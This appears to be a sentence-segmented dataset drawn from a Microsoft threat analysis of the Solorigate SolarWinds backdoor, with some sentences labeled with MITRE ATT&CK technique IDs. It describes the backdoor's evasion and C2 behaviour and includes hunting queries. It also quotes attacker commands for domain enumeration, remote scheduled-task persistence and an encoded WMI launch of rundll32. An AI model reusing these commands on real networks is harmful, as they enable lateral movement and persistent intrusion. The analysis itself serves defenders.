{"sentence": "At first glance, the code in this DLL looks normal and doesn’t raise suspicions, which could be part of the reason why the insertion of malicious code was undetected for months, especially if the code for this DLL was not frequently updated.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "To have some minimal form of obfuscation from prying eyes, the strings in the backdoor are compressed and encoded in Base64, or their hashes are used instead.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "Figure 5: Example of obfuscated strings Initial reconnaissance The Initialize method is the de facto execution entry point of the backdoor.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "It carries out several checks to verify that it is running in a real victim’s environment: It verifies that the process hosting the malicious DLL is named solarwinds.businesslayerhost.exe", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "It checks that the last write-time of the malicious DLL is at least 12 to 14 days earlier It delays execution by random amounts of time", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "It verifies that the domain name of the current device meets the following conditions: The domain must not contain certain strings; the check for these strings is implemented via hashes, so at this time the domain names that are block-listed are unknown The domain must not contain “solarwinds” The domain must not match the regular expression (?i)([^a-z]|^)(test)([^a-z]|$), or in simpler terms, it must not look like a test domain It checks that there are no running processes related to security-related software (e.g., Windbg, Autoruns, Wireshark)", "labels": ["T1518.001"], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "It checks that there are no drivers loaded from security-related software (e.g., groundling32.sys)", "labels": ["T1518.001"], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "It checks that the status of certain services belonging to security-related software meets certain conditions (e.g., windefend, sense, cavp)", "labels": ["T1518.001"], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "It checks that the host “api.solarwinds.com” resolves to an expected IP address If any of these checks fail, the backdoor terminates.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "All these inspections are carried out to avoid exposing the malicious functionality to unwanted environments, such as test networks or machines belonging to SolarWinds.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "The backdoor After the extensive validation described above, the backdoor enters its main execution stage.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "At its core, the backdoor is a very standard one that receives instructions from the C2 server, executes those instructions, and sends back information.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "The type of commands that can be executed range from manipulating of registry keys, to creating processes, and deleting files, etc., effectively providing the attackers with full access to the device, especially since it’s executing from a trusted, signed binary.", "labels": ["T1070.004", "T1112"], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "In its first step, the backdoor initiates a connection to a predefined C2 server to report some basic information about the compromised system and receive the first commands.", "labels": ["T1005"], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "The C2 domain is composed of four different parts: three come from strings that are hardcoded in the backdoor, and one component is generated dynamically based on some unique information extracted from the device.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "This means that every affected device generates a different subdomain to contact (and possibly more than one).", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "Here’s an example of a generated domain: Figure 6: Dynamically generated C2 domain The dynamically generated portion of the domain is the interesting part.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "It is computed by hashing the following data: The physical address of the network interface The domain name of the device The content of the MachineGuid registry value from the key HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Cryptography The backdoor also generates a pseudo-random URI that is requested on the C2 domain.", "labels": ["T1012", "T1082"], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "Like the domain, the URI is composed using a set of hardcoded keywords and paths, which are chosen partly at random and partly based on the type of HTTP request that is being sent out.", "labels": ["T1071.001"], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "Possible URIs that can be generated follow these formats: pki/crl/<random components>.crl, where <random components> can be numbers and one of the following strings: “-root” “-cert” “-universal_ca” “-ca” “-primary_ca” “-timestamp” “-global” “-secureca” fonts/", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "woff/<random components>-webfont<random component>.woff2 or fonts/woff/<random components>.woff2, where the <random components> can be numbers and one or more of the following strings: “Bold” “BoldItalic” “ExtraBold” “ExtraBoldItalic” “Italic”, “Light” “LightItalic” “Regular” “SemiBold” “SemiBoldItalic” “opensans” “noto” “freefont” “SourceCodePro” “SourceSerifPro” “SourceHanSans” “SourceHanSerif” swip/upd/<random components>, where <random components> can be one or more of the following strings: “SolarWinds” “.CortexPlugin” “.Orion” “Wireless” “UI” “Widgets” “NPM” “Apollo” “CloudMonitoring” “Nodes”, “Volumes”, “Interfaces”, “Components” swip/Upload.ashx swip/Events Here are examples of final URLs generated by the backdoor: hxxps://3mu76044hgf7shjf[.]appsync-api[.]eu-west-1[.]avsvmcloud[.]com /swip/upd/Orion[.]Wireless[.]xml hxxps://3mu76044hgf7shjf[.]appsync-api[.]us-east-2[.]avsvmcloud[.]com /pki/crl/492-ca[.]crl hxxps://3mu76044hgf7shjf[.]appsync-api[.]us-east-1[.]avsvmcloud[.]com /fonts/woff/6047-freefont-ExtraBold[.]woff2 Finally, the backdoor composes a JSON document into which it adds the unique user ID described earlier, a session ID, and a set of other non-relevant data fields.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "It then sends this JSON document to the C2 server. Figure 7: Example of data generated by the malware If the communication is successful, the C2 responds with an encoded, compressed buffer of data containing commands for the backdoor to execute.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "The C2 might also respond with information about an additional C2 address to report to.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "The backdoor accepts the following commands: Idle Exit SetTime CollectSystemDescription UploadSystemDescription RunTask GetProcessByDescription KillTask GetFileSystemEntries WriteFile FileExists DeleteFile GetFileHash ReadRegistryValue SetRegistryValue DeleteRegistryValue GetRegistrySubKeyAndValueNames Reboot None In a nutshell, these commands allow the attackers to run, stop, and enumerate processes; read, write, and enumerate files and registry keys; collect and upload information about the device; and restart the device, wait, or exit.", "labels": ["T1005", "T1012", "T1057", "T1070.004", "T1112"], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "The command CollectSystemDescription retrieves the following information: Local Computer Domain name Administrator Account SID HostName Username OS Version System Directory Device uptime Information about the network interfaces Resulting hands-on-keyboard attack Once backdoor access is obtained, the attackers follow the standard playbook of privilege escalation exploration, credential theft, and lateral movement hunting for high-value accounts and assets.", "labels": ["T1033", "T1082", "T1083"], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "To avoid detection, attackers renamed Windows administrative tools like adfind.exe which were then used for domain enumeration.", "labels": ["T1036.005", "T1059.003"], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "csrss.exe -h breached.contoso.com -f", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "(name=”Domain Admins”) member -list | csrss.exe -h breached.contoso.com -f", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "objectcategory=* > .\\Mod\\mod1.log Lateral movement was observed via PowerShell remote task creation, as detailed by FireEye and Volexity: $scheduler = New-Object -ComObject (“Schedule.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "Service”);$scheduler.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "Connect($env:", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "COMPUTERNAME);$folder = $scheduler.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "GetFolder(“\\Microsoft\\Windows\\SoftwareProtectionPlatform”);$task = $folder.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "GetTask(“EventCacheManager”);$definition = $task.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "Definition;$definition.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "Settings.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "ExecutionTimeLimit = “PT0S”;$folder.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "RegisterTaskDefinition($task.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "Name,$definition,6,”System”,$null,5);echo “Done” C:\\Windows\\system32\\cmd.exe /C schtasks /create /F", "labels": ["T1053.005", "T1059.003"], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "/tn “\\Microsoft\\Windows\\SoftwareProtectionPlatform\\EventCacheManager” /tr", "labels": ["T1053.005"], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "“C:\\Windows\\SoftwareDistribution\\EventCacheManager.exe” /sc ONSTART /ru system /S", "labels": ["T1053.005"], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "[machine_name] Persistence is achieved via backdoors deployed via various techniques:", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "PowerShell: Powershell -nop -exec bypass -EncodedCommand The –EncodedCommand, once decoded, would resemble: Invoke-WMIMethod win32_process -name create -argumentlist ‘rundll32 c:\\windows\\idmu\\common\\ypprop.dll _XInitImageFuncPtrs’ -ComputerName", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "WORKSTATION Rundll32: C:\\Windows\\System32\\rundll32.exe C:\\Windows\\Microsoft.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "NET\\Framework64\\[malicious .dll", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "file], [various exports] With Rundll32, each compromised device receives a unique binary hash, unique local filesystem path, pseudo-unique export, and unique C2 domain.", "labels": ["T1218.011"], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "The backdoor also allows the attackers to deliver second-stage payloads, which are part of the Cobalt Strike software suite.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "We continue to investigate these payloads, which are detected as Trojan:Win32/Solorigate.A!dha, as the situation continues to unfold.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "Microsoft Defender for Endpoint product and hardening guidance Supply chain compromise continues to be a growing concern in the security industry.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "The Solorigate incident is a grave reminder that these kinds of attacks can achieve the harmful combination of widespread impact and deep consequences for successfully compromised networks.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "We continue to urge customers to: Isolate and investigate devices where these malicious binaries have been detected Identify accounts that have been used on the affected device and consider them compromised Investigate how those endpoints might have been compromised Investigate the timeline of device compromise for indications of lateral movement Hardening networks by reducing attack surfaces and building strong preventative protection are baseline requirements for defending organizations.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "On top of that, comprehensive visibility into system and network activities drive the early detection of anomalous behaviors and potential signs of compromise.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "More importantly, the ability to correlate signals through AI could surface more evasive attacker activity.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "Microsoft Defender for Endpoint has comprehensive detection coverage across the Solorigate attack chain.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "These detections raise alerts that inform security operations teams about the presence of activities and artifacts related to this incident.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "Given that this attack involves the compromise of legitimate software, automatic remediation is not enabled to prevent service interruption.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "The detections, however, provide visibility into the attack activity.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "Analysts can then use investigation and remediation tools in Microsoft Defender Endpoint to perform deep investigation and additional hunting.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "Microsoft 365 Defender provides visibility beyond endpoints by consolidating threat data from across domains – identities, data, cloud apps, as well as endpoints – delivering coordinated defense against this threat.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "This cross-domain visibility allows Microsoft 365 Defender to correlate signals and comprehensively resolve whole attack chains.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "Security operations teams can then hunt using this rich threat data and gain insights for hardening networks from compromise.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "Microsoft Defender for Endpoint detections across the Solorigate attack chain Several Microsoft Defender for Endpoint capabilities are relevant to the Solorigate attack: Next generation protection Microsoft Defender Antivirus, the default antimalware solution on Windows 10, detects and blocks the malicious DLL and its behaviors.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "It quarantines malware, even if the process is running.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "Detection for backdoored SolarWinds.Orion.Core.BusinessLayer.dll files: Trojan:MSIL/Solorigate.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "BR!dha Detection for Cobalt Strike fragments in process memory and stops the process: Trojan:Win32/Solorigate.A!dha Behavior:Win32/Solorigate.A!dha Detection for the second-stage payload, a cobalt strike beacon that might connect to infinitysoftwares[.]com.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "Trojan:Win64/Solorigate.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "SA!dha Detection for the PowerShell payload that grabs hashes and SolarWinds passwords from the database along with machine information: Trojan:PowerShell/Solorigate.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "H!dha Figure 9.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "Microsoft Defender for Endpoint prevented malicious binaries Endpoint detection and response (EDR)", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "Alerts with the following titles in the Microsoft Defender Security Center and Microsoft 365 security center can indicate threat activity on your network: SolarWinds Malicious binaries associated with a supply chain attack SolarWinds Compromised binaries associated with a supply chain attack Network traffic to domains associated with a supply chain attack Alerts with the following titles in the Microsoft Defender Security Center and Microsoft 365 security center can indicate the possibility that the threat activity in this report occurred or might occur later.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "These alerts can also be associated with other malicious threats.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "ADFS private key extraction attempt Masquerading Active Directory exploration tool Suspicious mailbox export or access modification Possible attempt to access ADFS key material Suspicious ADFS adapter process created Figure 10.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "Microsoft Defender for Endpoint detections of suspicious LDAP query being launched and attempted ADFS private key extraction Figure 11.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "Microsoft Defender for Endpoint alert description and recommended actions for possible attempt to access ADFS key material Our ability to deliver these protections through our security technologies is backed by our security experts who immediately investigated this attack and continue to look into the incident as it develops.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "Careful monitoring by experts is critical in this case because we’re dealing with a highly motivated and highly sophisticated threat actor.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "In the same way that our products integrate with each other to consolidate and correlate signals, security experts and threat researchers across Microsoft are working together to address this advanced attack and ensure our customers are protected.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "Threat analytics report We published a comprehensive threat analytics report on this incident.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "Threat analytics reports provide technical information, detection details, and recommended mitigations designed to empower defenders to understand attacks, assess its impact, and review defenses. Figure 12.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "Threat analytics report on the Solorigate attack Advanced hunting Microsoft 365 Defender and Microsoft Defender for Endpoint customers can run advanced hunting queries to hunt for similar TTPs used in this attack.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "Malicious DLLs loaded into memory To locate the presence or distribution of malicious DLLs loaded into memory, run the following query DeviceImageLoadEvents | where SHA1 in (“d130bd75645c2433f88ac03e73395fba172ef676″,”1acf3108bf1e376c8848fbb25dc87424f2c2a39c”,”e257236206e99f5a5c62035c9c59c57206728b28″,”6fdd82b7ca1c1f0ec67c05b36d14c9517065353b”,”2f1a5a7411d015d01aaee4535835400191645023″,”bcb5a4dcbc60d26a5f619518f2cfc1b4bb4e4387″,”16505d0b929d80ad1680f993c02954cfd3772207″,”d8938528d68aabe1e31df485eb3f75c8a925b5d9″,”395da6d4f3c890295f7584132ea73d759bd9d094″,”c8b7f28230ea8fbf441c64fdd3feeba88607069e”,”2841391dfbffa02341333dd34f5298071730366a”,”2546b0e82aecfe987c318c7ad1d00f9fa11cd305″,”e2152737bed988c0939c900037890d1244d9a30e”) or SHA256 in (“ce77d116a074dab7a22a0fd4f2c1ab475f16eec42e1ded3c0b0aa8211fe858d6″,”dab758bf98d9b36fa057a66cd0284737abf89857b73ca89280267ee7caf62f3b”,”eb6fab5a2964c5817fb239a7a5079cabca0a00464fb3e07155f28b0a57a2c0ed”,”ac1b2b89e60707a20e9eb1ca480bc3410ead40643b386d624c5d21b47c02917c”,”019085a76ba7126fff22770d71bd901c325fc68ac55aa743327984e89f4b0134″,”c09040d35630d75dfef0f804f320f8b3d16a481071076918e9b236a321c1ea77″,”0f5d7e6dfdd62c83eb096ba193b5ae394001bac036745495674156ead6557589″,”e0b9eda35f01c1540134aba9195e7e6393286dde3e001fce36fb661cc346b91d”,”20e35055113dac104d2bb02d4e7e33413fae0e5a426e0eea0dfd2c1dce692fd9″,”2b3445e42d64c85a5475bdbc88a50ba8c013febb53ea97119a11604b7595e53d”,”a3efbc07068606ba1c19a7ef21f4de15d15b41ef680832d7bcba485143668f2d”,”92bd1c3d2a11fc4aba2735d9547bd0261560fb20f36a0e7ca2f2d451f1b62690″,”a58d02465e26bdd3a839fd90e4b317eece431d28cab203bbdde569e11247d9e2″,”cc082d21b9e880ceb6c96db1c48a0375aaf06a5f444cb0144b70e01dc69048e6″) Malicious DLLs created in the system or locally To locate the presence or distribution of malicious DLLs created in the system or locally, run the following query DeviceFileEvents | where SHA1 in (“d130bd75645c2433f88ac03e73395fba172ef676″,”1acf3108bf1e376c8848fbb25dc87424f2c2a39c”,”e257236206e99f5a5c62035c9c59c57206728b28″,”6fdd82b7ca1c1f0ec67c05b36d14c9517065353b”,”2f1a5a7411d015d01aaee4535835400191645023″,”bcb5a4dcbc60d26a5f619518f2cfc1b4bb4e4387″,”16505d0b929d80ad1680f993c02954cfd3772207″,”d8938528d68aabe1e31df485eb3f75c8a925b5d9″,”395da6d4f3c890295f7584132ea73d759bd9d094″,”c8b7f28230ea8fbf441c64fdd3feeba88607069e”,”2841391dfbffa02341333dd34f5298071730366a”,”2546b0e82aecfe987c318c7ad1d00f9fa11cd305″,”e2152737bed988c0939c900037890d1244d9a30e”) or SHA256 in (“ce77d116a074dab7a22a0fd4f2c1ab475f16eec42e1ded3c0b0aa8211fe858d6″,”dab758bf98d9b36fa057a66cd0284737abf89857b73ca89280267ee7caf62f3b”,”eb6fab5a2964c5817fb239a7a5079cabca0a00464fb3e07155f28b0a57a2c0ed”,”ac1b2b89e60707a20e9eb1ca480bc3410ead40643b386d624c5d21b47c02917c”,”019085a76ba7126fff22770d71bd901c325fc68ac55aa743327984e89f4b0134″,”c09040d35630d75dfef0f804f320f8b3d16a481071076918e9b236a321c1ea77″,”0f5d7e6dfdd62c83eb096ba193b5ae394001bac036745495674156ead6557589″,”e0b9eda35f01c1540134aba9195e7e6393286dde3e001fce36fb661cc346b91d”,”20e35055113dac104d2bb02d4e7e33413fae0e5a426e0eea0dfd2c1dce692fd9″,”2b3445e42d64c85a5475bdbc88a50ba8c013febb53ea97119a11604b7595e53d”,”a3efbc07068606ba1c19a7ef21f4de15d15b41ef680832d7bcba485143668f2d”,”92bd1c3d2a11fc4aba2735d9547bd0261560fb20f36a0e7ca2f2d451f1b62690″,”a58d02465e26bdd3a839fd90e4b317eece431d28cab203bbdde569e11247d9e2″,”cc082d21b9e880ceb6c96db1c48a0375aaf06a5f444cb0144b70e01dc69048e6″) SolarWinds processes launching PowerShell with Base64 To locate SolarWinds processes spawning suspected Base64-encoded PowerShell commands, run the following query DeviceProcessEvents| where InitiatingProcessFileName =~ “SolarWinds.BusinessLayerHost.exe”| where FileName =~ “powershell.exe”// Extract base64 encoded string, ensure valid base64 length| extend base64_extracted = extract(‘([A-Za-z0-9+/]{20,}[=]{0,3})’, 1, ProcessCommandLine)| extend base64_extracted = substring(base64_extracted, 0, (strlen(base64_extracted) / 4) *", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "4)| extend base64_decoded = replace(@’\\0′, ”, make_string(base64_decode_toarray(base64_extracted)))//| where notempty(base64_extracted) and base64_extracted matches regex ‘[A-Z]’ and base64_extracted matches regex ‘[0-9]’ SolarWinds processes launching CMD with echo To locate SolarWinds processes launching CMD with echo, run the following query DeviceProcessEvents| where InitiatingProcessFileName =~ “SolarWinds.BusinessLayerHost.exe”| where FileName == “cmd.exe” and ProcessCommandLine has “echo” C2 communications To locate DNS lookups to a malicious actor’s domain, run the following query DeviceEvents| where ActionType == “DnsQueryResponse” //DNS", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "Query Responseand AdditionalFields has “.avsvmcloud” To locate DNS lookups to a malicious actor’s domain, run the following query DeviceNetworkEvents| where RemoteUrl contains ‘avsvmcloud.com’| where InitiatingProcessFileName !", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "= “chrome.exe”| where InitiatingProcessFileName !", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "= “msedge.exe”| where InitiatingProcessFileName !", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "= “iexplore.exe”| where InitiatingProcessFileName !", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "= “firefox.exe”| where InitiatingProcessFileName !", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "= “opera.exe” Find SolarWinds Orion software in your enterprise To search for Threat and Vulnerability Management data to find SolarWinds Orion software organized by product name and ordered by how many devices the software is installed on, run the following query DeviceTvmSoftwareInventoryVulnerabilities| where SoftwareVendor == ‘solarwinds’| where SoftwareName startswith ‘orion’| summarize dcount(DeviceName) by SoftwareName| sort by dcount_DeviceName desc ADFS adapter process spawning DeviceProcessEvents| where InitiatingProcessFileName =~”Microsoft.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "IdentityServer.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "ServiceHost.exe”| where FileName in~(“werfault.exe”, “csc.exe”)| where ProcessCommandLine !contains (“nameId”) Appendix MITRE ATT&CK techniques observed This threat makes use of attacker techniques documented in the MITRE ATT&CK framework.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "Initial Access T1195.001 Supply Chain Compromise Execution T1072 Software Deployment Tools Command and Control T1071.004 Application Layer Protocol: DNS T1017.001 Application Layer Protocol: Web Protocols T1568.002", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "Dynamic Resolution: Domain Generation Algorithms T1132 Data Encoding Persistence T1078", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "Valid Accounts Defense Evasion T1480.001 Execution Guardrails: Environmental Keying T1562.001 Impair Defenses: Disable or Modify Tools Collection T1005 Data From Local System Additional malware discovered", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "In an interesting turn of events, the investigation of the whole SolarWinds compromise led to the discovery of an additional malware that also affects the SolarWinds Orion product but has been determined to be likely unrelated to this compromise and used by a different threat actor.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
